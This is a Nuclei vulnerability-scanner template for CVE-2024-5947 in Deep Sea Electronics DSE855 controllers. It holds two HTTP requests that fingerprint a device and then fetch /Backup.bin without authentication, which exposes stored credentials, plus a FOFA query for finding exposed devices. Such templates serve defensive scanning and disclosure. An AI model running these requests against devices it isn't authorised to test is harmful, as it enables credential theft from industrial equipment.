id: CVE-2024-5947

info:
  name: Deep Sea Electronics DSE855 - Authentication Bypass
  author: s4e-io
  severity: medium
  description: |
    Deep Sea Electronics DSE855 Configuration Backup Missing Authentication Information Disclosure Vulnerability. This vulnerability allows network-adjacent attackers to disclose sensitive information on affected installations of Deep Sea Electronics DSE855 devices. Authentication is not required to exploit this vulnerability. The specific flaw exists within the web-based UI. The issue results from the lack of authentication prior to allowing access to functionality. An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise. Was ZDI-CAN-22679.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5947
    - https://packetstormsecurity.com/files/179342/Deep-Sea-Electronics-DSE855-Remote-Authentication-Bypass.html
    - https://www.zerodayinitiative.com/advisories/ZDI-24-671/
  metadata:
    verified: "true"
    max-request: 1
    vendor: Deep Sea Electronics
    product: DSE855
    fofa-query: "Deep Sea Electronics"
  tags: packetstorm,cve,cve2024,bypass,info-leak

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"Copyright Deep Sea Electronics")'
          - "status_code == 200"
        condition: and
        internal: true

  - raw:
      - |
        GET /Backup.bin HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type,"Unknown")'
          - "status_code == 200"
        condition: and
# digest: 4b0a00483046022100d17dffb2fb3ca368a7baaadd80cfe37b8dacc0f7ef61a75af11579274e45fb16022100b8b82b482990b974391cd46accc4cd0af8bf22141ffad6412556deb022d4538c:922c64590222798bb761d5b6d8e72950